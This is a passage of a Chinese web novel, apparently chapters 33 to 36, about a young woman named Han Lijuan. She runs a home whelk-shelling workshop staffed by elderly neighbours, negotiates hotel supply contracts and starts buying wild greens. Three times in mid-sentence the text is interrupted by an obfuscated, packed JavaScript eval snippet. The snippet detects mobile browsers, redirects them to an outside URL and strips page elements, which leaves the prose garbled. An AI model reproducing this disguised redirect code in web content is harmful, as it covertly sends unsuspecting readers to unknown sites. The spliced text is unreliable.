“咱们这个按两算钱。”韩丽娟看大家都上手了，又开始画大饼。“完整的，按大小每两差五分，价格是4毛5分和5毛。不完整的，只有3毛5分钱。” “一两？”众人一听，这个价格，是两？ “对。”韩丽娟点头。“所以，各位奶奶，咱们一定要把活做的干净利索。” “林爷爷，你负责一些体力活，分拣，洗螺，煮螺这些活，到时候我也给你按斤算钱，保证不必奶奶们的少。” 韩丽娟给这些老人安排的明明白白。 “娟子，你这还招人不？”有那老人一听，这价钱，一天咋地不扒上一斤半，一天五块，一个月150，勤快点，活要是够，一个月比年轻人赚的都多。 “目前先是各位奶奶，等我接到更多的活，需要更多的人，在告诉大家，只有咱们把活干好了，才能接到更多，赚更多，各位奶奶，有没有信心啊！” “有有有！”奶奶们乐的合不拢嘴，刚刚还觉得这个口罩有点烦人，现在一点都不烦。 带上跟大夫似的，多厉害。 下午，奶奶们按照她的要求，开始扒螺肉。 因为刚刚开始，大家都还不会用力道，经常断，但是韩丽娟不着急，今天下午能凑够一两斤完整的就行，剩下的当做普通货品卖出去。 奶奶们就是熟练度的问题，其他别的倒没啥问题，趁着奶奶们干活，韩丽娟找到一家私营小卖铺，一天给人家一块钱，让人家给冻一块冰，她买了一个装雪糕的保温箱，到时候送货用。 第二日，从早市出来，先去金店长那里。韩丽娟的波螺肉扒出来都是用一次性泡沫饭盒装着，一盒一斤，因为保温箱里有冰块，拿出来还冰冰凉的。 金店长有些惊喜，你这整的还挺好呢！ 金店长留下两斤11一斤的。 韩丽娟接着去找周经理。 周经理看到韩丽娟拿出来的波螺，脸色明显是满意的。“这个价格……”周经理想讲价。 “这样，周经理，如果咱们店每个月用上100斤，我不管是15一斤的，还是11一斤的，合计满100斤，那我每斤返利5毛，如果超过120斤，每斤返利6毛。以此类推，最高每斤返利1元。”韩丽娟想了想，给了周经理一个方案，她是不想降价的，除非店里用的多。“当然，这是4月份到6月初的价格。天热以后，香波螺会减少，我们是要减产的，同时，价格到时候会有调整。” 韩丽娟的价格也不是一成不变的。 这些关于海鲜的小知识，都是早市的大叔大婶告诉她的。 周经理听后，低头合计了一番。“我同意这个方案，那这样，合同就先按照每天二斤优等品每斤15元，三斤不分等级每斤11元签订。” 这样，一个月打底150斤，每斤返利7毛，每个月是105块返利。这部分就是他可支配的。 将周经理需要的货品留下后，韩丽娟的保温箱里其实不剩下什么，40斤的波螺，也就是出十斤左右的肉。 尤其是优等品，昨天奶奶们刚刚上手，经常就是只扒一个头出来，当然，也有林爷爷掌握不好火候，煮的不够专业的原因，大家都还在磨合。 韩丽娟乘胜追击，带着剩下的货品当样品，又跑了几家高档酒店，成功签订两份合约。 不算金店长那边，她已经签出去每天5斤优等货，13斤通用货。 18斤的货，光是波螺就需要六七十斤，还有就是昨天那十斤货，大家干到很晚，今天18斤，以后还会更多，奶奶们搞不完，也不可能让她们太累。 她要外包。 他去找找系海带扣的刘婶。 “哎呀，你这稀客呀，今天咋有时间这功夫过来了？” 郑大娘几个人看见韩丽娟上午这个时间段过来，都有些疑惑。 “找刘婶有点事。”韩丽娟个各位婶子们打过招呼，就单独把刘婶叫出来。 “啥事呀，娟子。”刘婶还奇怪的。 “我这有个活，刘婶，扒波螺肉，一天你这能扒出二十斤不？”目前这个趋势，应该是不划分等级的比较好出货，她决定在刘婶这主要做这种不划等级的。 “什么价？”刘婶开门见山。 “那看刘婶你这边怎么要求。要是需要我提供波螺，煮好了送来，一两4毛，要是什么都不要我整，你这边自己搞定，一两6毛钱。”韩丽娟给了刘婶两个方案。 “我这边要求就是波螺肉要干净，然后干活时候带口罩，我每个月没人发两个口罩。” 韩丽娟说。现在的口罩都是棉线的，可以反复清洗。 一个是一斤4块，一个是一斤6块钱，香波螺这玩意，他儿子在养殖场，附近很多村民去不了的礁石场，他儿子能去，波螺就压根没成本，刘婶合计一番，三斤半出一斤，还是自己全包合适，决定接受自己包工包料。 “那就我这边连工带料，一两6毛的。”刘婶说。 “行，那今天我先给你送过来波螺，不然你这边来不及准备，我顺便给大家讲讲要求。”韩丽娟也点头同意。 “还有，婶子，我这边的要求要一定要达到，我会不定期来检查大家是否戴口罩，指甲是否干净，两次发现不合格，咱们就不合作了。”韩丽娟还是要重申自己的要求。 “这个我懂。”刘婶也是给人加工的，加工环境很重要。 等韩丽娟骑着自行车，回到家里，就见老人们都没心思系海带结，都在等着韩丽娟。 “怎么样啊，娟子。”看到她回来，大家焦急的问。 “成啦！”韩丽娟一拍手。“爷爷奶奶们，发钱啦！” 大伙一听，都高兴的拍手，自觉排好队。“快快快，娟子发钱了。” 韩丽娟拿出记账的小本本，“王奶奶，8两优等货，四块，一斤无等级，3块5毛，一动7块5毛钱。” “7块5！”几个老太太一听，交头接耳的。“还是得慢点干，整优等品出来，还不累，还挣得多。” 王奶奶高兴的接过钱，数了又数。王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132053|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奶奶是这里赚的最多的，昨晚她跟韩丽娟俩人在她家熬了会夜。 “老王太太，你不识字，要不你那钱，拿过来，我帮你数。”其他人跟王奶奶开玩笑。 “不识字，但我可认识钱。”王奶奶把钱往兜里一揣，美滋滋的。“愿意数数你们自己的去，我可用不着你们。” “我儿子一个月才两百多，我这一个月加把劲都能挣过他了。”老刘太太拿过钱，感慨的说。“我看他们两口子还怎么管着我。” 拿了钱，众人问，“娟子，这个活还有吧？” “有。”韩丽娟点头。“但是，咱们要做优等品，各位奶奶，大家年龄也都大了，我又想让大家赚钱，又要让大家别累到，所以，咱们提高质量，每天如果每个人出二斤优等品，那就是十块钱，同样的钱，要是都做出来的是残次品，需要三斤！” 大家都觉得韩丽娟说的对。 这边郭大娘骑着自行车，送货过来了。自从韩丽娟这边开始忙路，郭大娘这边直接将海菜跟波螺送过来。 连着几天，韩丽娟终于把各个流程捋顺。 “哎呀！”晚上，躺在炕上，韩丽娟舒服的伸了伸懒腰。 “你呀，财迷，赚钱没够，多累呀！”孙慧看她累的这样子，忍不住说，韩丽娟每天有时间也跟着扒波螺，还要来回送货，两个场地来回跑。 “不累！”挣到钱，韩丽娟不觉得累。“对了，慧慧，跟你说个事，我这每天用咱们俩的房子干活赚钱，这个月开始，你就不要交房租了，房租算我的。” 这个房子是孙慧跟韩丽娟两个人的，但是明显孙慧就是每天回来休息，韩丽娟用的更多。 “不要，如果你觉得过意不去，赶紧把我的窗帘安排上。”孙慧拒绝了，并说道。 “行~”韩丽娟拉长音。 “而且，现在水电跟柴钱都是你出，房租我还一分不出，就真的是吃你的，住你的了。”他们住的这个地方，说是农村，其实跟一个小镇差不多，这里的居民几乎都不种庄稼的，大家烧柴是上山搂的松树针，韩丽娟她们刚刚来的时候，是姜美凤家给送了点，后来她们跟着姜美凤两口子趁着下班时间也去山上搂了一些，后来，韩丽娟忙起来，就找胖婶跟村里人买，10块钱能烧一个月。 “我真佩服你，娟子，我现在觉得上班好累！”孙慧忍不住跟韩丽娟吐苦水。“来了一个多月，快一个半月，一分钱没拿到呢。” “不然，你下来跟我干，我这边缺一个管事的，现在都是我一个人在忙。”韩丽娟邀请孙慧。 “我干不了这个活，我知道自己几斤几两。”孙慧又拒绝了。“我现在要死磕在这，我还没拿到工资呢，我一定要拿到工资！” “那你加油！”韩丽娟笑道。 “我一个月才几十块钱，娟子，你是不是一天就能赚几十？”人比人气死人，但是孙慧也不嫉妒，她吃不了赶海的苦，跟着去过一次海边，发现她干不来这活。 “嗯……”韩丽娟犹豫了一下，其实她现在每天的毛利润已经超过100块了，但还是不要刺激孙慧了。“还差点，但快了哦~”她跟孙慧说。 “那你努力，我以后要抱你大腿。” “你真不来？我给你开的可比你在针织厂赚的多。”韩丽娟继续勾引孙慧。 “不！”孙慧坚定拒绝。 34. 第 34 章 “韩丽娟，娟子！” 赚钱的日子飞快，时间一晃，就进入5月。这天，韩丽娟跟奶奶们正忙着，就听见外面有人喊她。 韩丽娟出门一看，是胖婶站在大门口叫她。 “胖婶，进来坐会。”韩丽娟邀请，滨海人不喜欢直接进别人家的屋子，有事总是在大门口先喊一声。 “不了不了，我刚刚去大队那边，看到有你的信，就帮你拿了过来。”胖婶将一封信递给她。 “谢谢胖婶。”韩丽娟接过一看，是从他们县一中发出来的，应该是妹妹给她写的信。 “没事，你先忙着，我回了。”胖婶知道韩丽娟这边白天很忙，她也不好打扰人家赚钱，信送到就走了。 送走胖婶，韩丽娟索性也没回屋，就站在院门口的杏树下，拆开信。五月的春风，携着杏花一起来凑热闹，也要看看信里写了什么。 “姐： 见字如面。 你在那边还好吧，接到你的来信……” 韩丽娟三月的时候给家里写过一封信，没多说什么，报喜不报忧，只是说自己在这边一切都好，再就是问问家里春耕忙不忙的过来。 韩丽敏的回信也是一样。 “家里这边一切都好，爷爷奶奶还有咱爸妈身体都挺好。对了，嫂子4月初平安生下个女孩，取名叫雨涵，咱俩升级当姑姑了，小姑娘特别可爱，咱妈说可爱是可爱，就是太能吃，像个小猪羔……” “慧慧，我当姑姑了。”晚上，韩丽娟兴奋的跟孙慧分享她的喜悦。“这周末你有时间吗，我想去市里给她买点东西。” “哇，恭喜！”孙慧一听也高兴，她点点头。“好呀，来滨海这么久，咱俩还没一起出去逛过街呢。我这个月终于开工资了，虽然只有八十块，但是这是我凭自己本事赚来的，我也给我爸妈买点东西，寄回去。” 跟韩丽娟出门总是早不了，因为她要送货。 等韩丽娟送货回来，就看见孙慧跟一个女孩在院子里对峙。“方虹？”看到来人，韩丽娟大吃一惊。 “韩丽娟，你这里还行，挺好找的，我来给你送书。”方虹说着，举起手里的拎兜，递给韩丽娟。 “咱们先进屋吧，在院子站着干嘛。”韩丽娟请人进去。 “娟子，你也没告诉你你交了新朋友，我以为这人是骗子呢，就没让她进去。”孙慧有点酸酸的。 “我的错，方虹是程老师的外甥女，这是孙慧，跟我一起从老家出来的好朋友。”韩丽娟给俩人介绍。 孙慧听到韩丽娟的介绍，一下子情绪高昂起来，她挽着韩丽娟的胳膊，朝着方虹说“你好，方虹，欢迎你来做客。” 方虹忍不住笑出声。“你好，孙慧。” 韩丽娟笑着，无奈的摇了摇头，几人进屋，韩丽娟拿出书。“《经济学》、《管理学》、《财经问题研究》……”她看着书名，读了出来。 “跟隔壁院校的同学借来的，你慢慢看，如果有不懂的，记得写在本子上，到时候你有时间，我带你去找她们问明白。”方虹说。 “好，我慢慢读。”韩丽娟随意翻开一页，她觉得之前方虹多虑了，她不会照搬书本的，因为这些书读起来挺难，她需要一些时间读明白，才能提出问题。 “娟子，你不是说要去市里，那今天……”孙慧看方虹过来，怕是韩丽娟要改变行程。 “你们要去市里？那我带你们去逛把，我虽然也不是本地人，但自从我姨妈工作调动到这里，我就经常过来，现在还在这边读书，对这里很熟的。” 方虹听到她们的计划，自告奋勇。 “真的？那可太好了。”还不待韩丽娟点头，孙慧就直接答应。 “好，我这边安排一下，咱们就出发。”韩丽娟也点头同意。 但出门前，她还要叮嘱爷爷奶奶们一番。 “一个多月没见，你这规模越做越大，真厉害！”路上，方虹忍不住夸赞韩丽娟。上次见面，她还只是卖海菜，顶多就是批发海菜给几个店面，这次见面，家庭小作坊已经起来了。 “我们娟子是要当老板的人，这点规模小意思。”孙慧听方虹夸韩丽娟，就仿佛夸的是她自己。 “夸的我都不好意思了。”韩丽娟被这俩人夸的有点脸红。“但最近，我觉得到了自己的最高水平。” 海菜季已经过了，她现在主营波螺肉的生产，她目前销量可以。每天固定能卖出去60斤，每日流水近千元。日均利润300多。 但是，目前产量已经达到最高，销量也一样。随着夏季到来，产量跟销量都会有所回落。 她目前有些迷茫，扩大规模就要成立个厂子，招更多的工人，但她目前的资金支撑不起来，但凡丢失一两个客户，她的厂子就要关门，退回到这种家庭作坊的模式。 还不到成立一个小厂子的时机。 因为销售额也提高不起来。 县城的规模在这里放着，要想提高销量，就要往市里去。 但马上又要到夏季，她只能等着秋冬季节来临，想办法去市里扩大规模。 “别急，蓄势待发。我虽然不做生意，但是很多东西是相通的，每个阶段都有一个平台期，这个期间，你可能不会进步，但是你可以稳定住自己，从自身角度精益求精。” 方虹安慰她。 “就是，娟子你比我强一百倍，我要是有你一半，我都开心死。”孙慧又从另一角度安慰。 “不想了，咱们今天就花钱。”韩丽娟也不过是吧自己心里的想法说出来，至于未来，总是走一步看一步的，不怕。 滨海市里很热闹，有方虹带着，韩丽娟跟孙慧逛的十分尽兴。 韩丽娟跟孙慧给都给家里买了些东西邮寄回去。马上换季，也给自己买了两件衣服。 在选择衣服上，韩丽娟的审美一般，不如孙慧跟方虹。俩人也熟悉起来，挑起衣服叽叽喳喳的，韩丽娟当俩人模特，换了好多身。 “不愧是大城市，就是比咱们小县城卖的东西多，而且衣服还便宜！”从商场出来，孙慧都没逛够。 之前跟黄雪娜俩人对市里也不熟悉，胡乱逛的，不如这次跟着方虹逛的尽兴。 “这算啥，你们没去过省城的批发市场，那里衣服都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137317|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堆成山的。”方虹说。 “我听过！”孙慧说。“但是那里好像不零卖吧。” “也有，走精品路线的那种店，很多人去批发也是一种衣服选一两件，但是也比咱们这里卖的便宜。”方虹说。 “加上路费乱七八糟的，还是在这买合适呀。”韩丽娟插话。 “那倒也是。”其余两个人赞同的点点头。 “我想剪一下头发。”买完衣服出来，韩丽娟说。 “娟子你头发这么长，舍得吗？”孙慧问，韩丽娟的头发松开都到腰部了，又黑又长的。 “打理起来浪费时间，而且，马上天热了。”韩丽娟老早就觉得头发太长，干活的时候，甩来甩去的，烦人。“走，陪我去剪头发，出来我请你俩吃大餐。” “走走走……” 从市里回来，韩丽娟的日常多了一个看书做笔记的选项，为了看书，她还买了一本词典。 毕竟她本身就是初中毕业，很多字不是很熟悉，也不是很懂意思，反正她的时间够用，一边翻着字典，一边慢慢的读，渐渐地，也找到看书的趣味。 “韩厂长，我们周经理有事找您。”这天，韩丽娟例行给几个酒店送货，找到后厨签单后，准备离开的时候，被一名店员拦住。 韩丽娟跟着店员去往周经理办公室路上，想周经理找自己干什么呢？ 是产品的问题，还是价格问题，还是要降低采购数量呢？ 她每种想法都在心里过一遍，也想了想如果是这些问题，要如何跟周经理沟通协调。 “来啦，快坐。”周经理看到她，很热情。 波螺肉给他们店增加了一些顾客，而且，对他本人而言，也算是小赚一笔。 “周经理，您找我有事？”韩丽娟摸不到头脑，所以，表情有些严肃。 她还没做到喜怒不形于色。 “别紧张，是好事。”周经理看到韩丽娟这个表情，忍俊不禁，这是这个时候，才能发现韩丽娟不过是二十出头的青年人。 “我也不跟你卖关子，最近，我们店准备上一款新产品，是山苜楂，你听过吧？”周经理给韩丽娟倒了水，自己也端起水杯，一边喝水，一边跟韩丽娟唠起来。 山苜楂？这是什么呢。 韩丽娟觉得有些耳熟，应该是听过，但是，在哪里…… 她仔细回想。 想起来了，最近她不卖海菜，但隔三差五的会去早市转一转。 要了解一座城市，了解这座城市居民的日常生活，最好的办法，就是逛市场，尤其是早市。 老百姓自己有的新鲜的东西，都会拿出来卖。 前一阵，两个头巾大婶，卖荠菜，韩丽娟还研究过这种菜，但是她发现荠菜单株太小，挖起来费事，而且因为菜小，水分很容易蒸发，菜看起来蔫吧吧的，回家收拾起来也费事，很多人也不爱买。 韩丽娟琢磨琢磨，觉得批发卖，容易赔本，就放弃了，当时紫头巾大婶说，过一阵，山里的山苜楂出来，采山苜楂卖，比卖荠菜赚钱。 “听过，滨海人喜欢的野菜。”韩丽娟说。 35. 第 35 章 “对。”周经理点点头。“春天到了，现在正是吃山苜楂的好季节，这两年每到这个季节，也有顾客在店里询问，但是，因为销量有限，采购起来麻烦，一直没上，今年我想着，咱们合作，我们店里呢，给顾客增加新品，你呢，也能增加收入。” 周经理一番话，说出双赢的局面。 但韩丽娟经历过给店里送海菜和波螺肉，她知道，单纯的送货跟加工后送货，价格有着天壤之别。 山苜楂跟海菜相似，事季节性的作物，从紫头巾大婶嘴里，她知道这个山苜楂应该是产量惊人的，那价格就会比海菜还能便宜，因为产量更大，漫山遍野的，而且现在天暖了，市场也有很多其他蔬菜，替代品太多。 “周经理，咱们店里一天用多少山苜楂？”韩丽娟问，如果量太少，她是不赚钱的。 “一天五到十斤。”周经理说了一个区间。他们不是以某个单品为主的小店，只是增加一个季节性的品类，来提高阶段进店率。 完全不赚钱。她现在没有时间自己去采，所有的货，都是有本钱的。她从村民手中收菜，然后再卖给店里，她只是赚个差价。海菜她当初一斤能净赚2毛钱，但山苜楂，一斤能赚上一毛钱，她觉得都算赚钱。 “据我所知，周经理，这个菜在市场上应该不贵，如果从我手里采购，价格也不会便宜。”零售价本身就不高的情况下，她没有太多降价空间。 “市场不稳定性太多，今天需要可能能买到，明天需要出去就找不到，我们要的是稳定，大店跟小店不一样，小店需要了当下出去买都可以，没有可以跟顾客说没买到，换个菜或者其他，我们不行，既然打出去招牌，除非说特殊情况，否则就要有。”周经理解释。 “这个价格，我需要去市场打听一下，而且，周经理，我这里恐怕不会低于市场价太多，市场价的9折，是我能给到的最低价格。”如果是其他人，韩丽娟甚至不会打折，有免费送货上门就够了。但周经理是大客户，她还是要给一些优惠的。 周经理听完，皱眉，他心理预期是八折左右，九折有些贵。 “我可以保证质量。”韩丽娟说。“不管是什么产品，其实价格是一方面，产品的质量也很重要，我明天送5斤过来，周经理看看质量，咱们在确定是不是合作。” 别管赚几毛钱，现在她需要的不仅仅是赚钱，还有多尝试，看是否能发现其他新的商机。 “明天能送货？”周经理问。 “可以，但我一会会去打探一下，价格咱们明天谈？”韩丽娟回道。 “行吧。”周经理同意了。 “好，那您忙。”韩丽娟见他同意，就不准别多耽搁。 告别周经理，韩丽娟来到菜市场，这个时间，早市早就散去，零零星星几个人，在不影响路人通行的地方，摆着小摊。 “菠菜，小葱，看看啊。”有小贩见她路过，招呼。 韩丽娟本来没理会，都过去了，又折返回来。“今早早市有没有卖山苜楂的？” “没看见。”小贩摇头。 “你要买山苜楂啊？刚刚我看一个，在这蹲了一会，往北走了。”隔壁一个卖肉的门市，正坐在门口看光景，听到韩丽娟的话，搭茬道。 “卖多少钱一斤啊。”韩丽娟接着问。 “不得四五毛钱啊，这功夫菜刚下来，贵点，愿意吃，过一阵再买吧，一块钱三斤，合适。”卖肉的估摸着说。 她其实没问刚刚那个卖山苜楂的多少钱一斤。但她家是肉铺，这几天经常有来买肉的就是回家包山苜楂馅儿吃，不用问，就有人说。 “那差不了这个价。”卖菠菜的小贩，十分信任卖肉的。“有那钱，买点菠菜多好，3毛钱一捆，买山苜楂还得买肉，好几块钱就没了。买捆菠菜，回家打个蛋花，淋点香油，蒸个馒头，不比山苜楂好歹，还省钱。” “艾玛，你这个会过日子的，你天天这么会过，怎么还在这卖菠菜，没开上小汽车。”卖肉的不爱听了。“别在我门口待着卖菜，上别的地方待着吧，早市都散了，这不让小商小贩摆摊卖菜了。”她开始撵卖菠菜，这卖菠菜的，真不会说话。 “哎呀，你看你这人，这功夫也没别人，我讲两句怎么了，还撵上了，就你这样，生意也不带好的。”卖菠菜的拐起土篮子，留下这么句话，就走了。 “这人，为了省五毛钱摊位费，这时候才来摆摊，就他那嘴，卖不了啥货，挣不着钱，这辈子都别想赚钱。”卖菠菜的走了，卖肉的还在跟韩丽娟吐槽。 没见过这样人。 “别跟他生气，婶子。你这肉铺干干净净的，一看生意就差不了。”韩丽娟没想到，自己就问个菜价，还差点惹起事儿来。 “买点肉啊，丫蛋，你要买山苜楂，不放肉不好歹，买块五花，回家一歹，艾玛~”卖肉大婶又招呼韩丽娟。 “我今天先不买山苜楂了，等我哪天买了，一定来您这买肉。”韩丽娟委婉拒绝了。“我先忙去了，您生意兴隆哈。”韩丽娟也骑着自行车走了。 卖肉大婶看韩丽娟自行车后面是个保温箱，以为她是卖雪糕的。“这个季节出来卖雪糕，能卖动吗。”摇摇头。“也不是个会做买卖的。” 韩丽娟又走了几个菜市场，菜市场里是没有卖山苜楂的，但一般菜市场外都会有几个摆小摊的村民，还真叫韩丽娟遇到俩，价格跟卖肉大婶说的大差不差，4毛到5毛的都有。 价格差距的原因，4毛的菜看起来不够肥美，瘦瘦的，像是水分不足。5毛的一看就绿油油的，一把一把的在筐里，每个都寸许长，看着就有卖相。 回到家，她约了胖婶，一起上山采菜。 第一天，她要感受一下，这个菜采摘的难度和日产量。才好给收菜定价。 第二天，好久没出现在早市的韩丽娟又去了早市。两个头巾大婶，在卖家里菜地里的小水萝卜，小白菜，还有山苜楂。唐姐还在赶海，卖点波螺。 “娟子来啦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143316|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”不打不相识，现在头巾大婶们见到韩丽娟很热情，其实说来都是小事，都是为了赚钱。 “大婶，你俩这山苜楂怎么卖的？”韩丽娟打过招呼，就问道。 “4毛5一斤，你要买，给你算4毛。”头巾大婶没用韩丽娟讲价，自己就给降了5分钱。 韩丽娟看这俩大婶采的菜，都是很干净整齐的那种，能卖上5毛钱价格的。“我昨天打听，你俩这样的菜，都能卖5毛钱，你俩咋要价就要4毛5呢？” “我俩这菜好摘的，我们家附近那片山上都是，不费力气就采挺多，我俩给钱就卖。”紫头巾说，但想了想又解释。“这次我俩可不是要挤兑谁，我俩一开始就定的这个价，没胡降讲价涨价的。” “婶子，我整好有点事找你俩，一会集散了，等我一会，我忙完就过来。”韩丽娟现在不知道自己需要多少斤的菜，她先问过自己手里这些客户后，才好来找两位大婶。 在周经理店里，俩人挣来辩去，最终将价格定在4毛钱，周经理暂时妥协，但是要求一周后，价格降到3毛5分钱，未来还会继续调整。就是还要降价。 韩丽娟同意了。 从周经理店出来，她照旧，将自己能提供山苜楂的信息分享给其他客户。 苍蝇腿也是肉，既然要赚钱，那就要认真对待。因为价格便宜，好几家店，意思一下，都要了5斤。价格也都定在4毛左右。 没想到，这次金姐特别给力，这个菜，她能做主，每天采购50斤。“这个在咱们县不觉得啥，市里好多人爱吃，还不好买呢。” 金姐的话，让韩丽娟陷入沉思，但头巾大婶等她呢，她现在没时间多想。 “娟子，你让我们等你，啥事呀。”回到早市附近，两个大婶，还有唐姐，都没走。 “大婶，我想收购一批山苜楂，现在每天要100斤左右，每斤能给到2毛5分钱，但是一周后会降价，你俩能供货吗？”韩丽娟开门见山。 “每天都要？”紫头巾跟韩丽娟确定。 “对，每天都要，未来可能会更多。我不管你俩多少钱收来的，我就是按两毛5分钱一斤结算，质量要求跟你俩今天摘的一样，不能比这个差。”韩丽娟点头。“怎么样，两位大婶，能不能干？” 花头巾算不明白账，韩丽娟看到她的时候，她赶紧转头看紫头巾。“你说。”她也没啥主意。 “一周后，你多少钱收？”紫头巾没有直接答应行不行，而是问韩丽娟之后价格的问题。“未来最终价格，可能会一斤1毛8分钱到2毛钱。”韩丽娟估摸着，因为市场价就是一元三斤，平均每斤三毛三，到时候她的送货价只能比3毛3分钱更低，2毛钱，真的是她能给到的最高价格。 初级农产品，真的不赚钱。 “1斤2毛钱！”紫头巾说。“只要以后，价格能固定在1斤2毛钱，我俩风雨无阻，你要多少，给你采多少，送到这早市来。” 紫头巾是有点头脑在的。 36. 第 36 章 “我没办法答应你。”韩丽娟想了想，摇摇头。“市场是个什么行情，未来谁也说不清。甚至，我刚刚给的最低价1毛8，很可能未来我都不赚钱。” 不是她不想给紫头巾优惠价格，而是她真的不赚钱，比海菜赚的还少。“这样，我给你保证，如果市场价不低于3毛钱一斤，我给你2毛一斤，但一定是质量最好的，但凡质量有一丝丝的问题，我都要压价的。如果市场低于3毛一斤，我就要降价了，至于降多少，还要看市场价格。”韩丽娟还是退让一步。 昨天她侧面问了问胖婶，胖婶不差钱，对这种需要出力气才能赚钱的活，一点兴趣没有。 短期内，她身边没有合适的上山采菜人，爷爷奶奶们毕竟年纪大，上山下山的，体力跟脚力都跟不上，而且顾客那边要的急，她也没时间去重新接触，思来想去，那就跟紫头巾合作。 “两位婶子，咱们之前也在一个早市卖过菜，我是什么人你们是最清楚的，如果你们觉得操纵一个早市的山苜楂价格，能来我这骗取更高的进货价，你们一定要想想清楚，是想细水长流每天都有钱，还是想一天多赚那二三十块，一锤子买卖，以后再也赚不到。我会经常四处打探山苜楂的价格，不会只盯住咱们这一个早市的价格。” 鉴于这两位婶子的黑历史，有些话韩丽娟还是要说在前头。 “放心，我们不会。”花头巾听罢，赶紧表态。一斤2毛5，一百斤就是25块钱。就算以后降到1毛八，100斤还是18块呢，俩人平分，一人9块，一个月那就是270块啊！区区100斤，她俩完全自己能应对。 就算未来韩丽娟要的多，她俩雇人，一斤给1毛5,100斤最少还能赚3块钱呢，嘿嘿，傻子才把这钱往外送呢。 她一边说，一边看紫头巾，发现紫头巾皱个眉。“不能……吧。”她推她。 紫头巾白了花头巾一眼，这个二傻子，欢天喜地的答应，让韩丽娟一下子就知道对价格满意。 “那不能。”紫头巾也表态。“既然娟子你都说的这么真诚，我也不要求你一定把价格固定，但是，要降价怎么也得提前一到两天告诉我们，不能我们菜都花钱收了，你才说，今天降价了。” 紫头巾觉得自己有点自私，但绝对算不得大坏蛋，也不蠢。 “那是一定的。”对于紫头巾大婶的要求，韩丽娟也点头答应。“那未来这一个半月，婶子们，咱们好好配合？” “行！”既然已经答应，紫头巾也不犹豫，点头。 “行。”花头巾慢了半拍。 两位大婶离开，唐姐却没有走。 刚刚他们的聊天唐姐一直在旁边听着。她想问问韩丽娟，有没有适合她的。 俩人一起骑着自行车去海边，边走边聊。 今天上午潮。 “娟子，这天也逐渐热了，你啥打算？”唐姐问韩丽娟。 夏天赶海也没啥东西，还有就是天气热，海鲜放不住。 “我最近也再想，但以我目前的能力，夏天还是先稳住。”韩丽娟对于夏天，目前也没少更多打算。 夏天天热，波螺肉一个弄不好就容易坏，赔钱事少，如果因为她的东西给谁吃坏肚子，得不偿失。夏天不适合扩大海鲜产量。 “我还不知道呢，唐姐，你去年夏天干的什么？” “家里有几颗果树，就摘点果子来卖，一天对付几块钱。”唐文丽说。“前一阵我认识一个人，是往外批发鲅鱼头，鲅鱼尾的，我想着到时候要不要批发一点，卖卖看。” “也是个办法，但夏天热，一个不好，容易坏。”韩丽娟提醒说。 “所以就纠结呢，我还想问问你夏天整啥，我跟着你干呢。”唐文丽觉得韩丽娟是个特别敢想敢冲的姑娘。 “要是有适合唐姐你的，我一定带着你。唐姐，你家是本地户，还总是赶海，按正理你应该认识挺多打鱼的呀，整点新鲜鱼卖也行啊。”韩丽娟不懂。 韩丽娟刚刚来不久，就发现早市卖新鲜海鱼的是卖的最快的，这些鱼都是附家里有小船的渔民打来的。这种小船走不远，鱼获收获不大，但是韩丽娟盯了很久，所有的船货都有固定的买家，她压根插不上手。 “别提了。”听到韩丽娟说起这事，本来挺平静的唐文丽突然拔高声音。“俺家你姐夫，养殖场上班，海里的挺多东西他都懂，我说我现在在早市卖货，你要不就别搁养殖场了，你也下来，咱也养条小船，你打鱼，我卖货，平均下来一天轻松百八的，是不是挺好。” 韩丽娟点头，那简直太好了。 “谁知道他不愿意啊，说这个东西不把握，小船走不远，天不好还出不去，弄弄就不让出海，夏天还禁捕，一年能出海的时候也就半年的功夫，然后，还不能保证每天都有收获，不如在养殖场好好干。” 唐文丽每每想到这里，都气的牙痒痒。 “姐夫是个稳重人。”韩丽娟安慰道。“在养殖场干活稳定，旱涝保收的。” “也不是懒人，就是不敢闯。”唐文丽摇摇头。“我现在也不管了，反正赚多赚少的钱给我拿回来就行。” 俩人说着，就到了海边，唐文丽开始忙着赶海。郭大娘也来了，看到韩丽娟来，就过来打个招呼。 “娟？”因为口吃的毛病，郭大娘说话很简洁，她能用语调来表达很多意思。“咋？” 比如，现在她就奇怪，韩丽娟咋来海边了，要知道，自从开始扒螺肉，韩丽娟让她去送货开始，就很少来海边赶海了。 “我来看看。”韩丽娟笑着跟郭大娘打招呼。“没别的事，大娘，我就是想过一阵天热了，咱们也赶不到啥好玩意，就寻思来海边看看。” “蚬子。”郭大娘说，夏季很多人来海边楼蚬子。“螺。” “嗯，大娘，我知道，你先忙吧，我自己转悠转悠。” 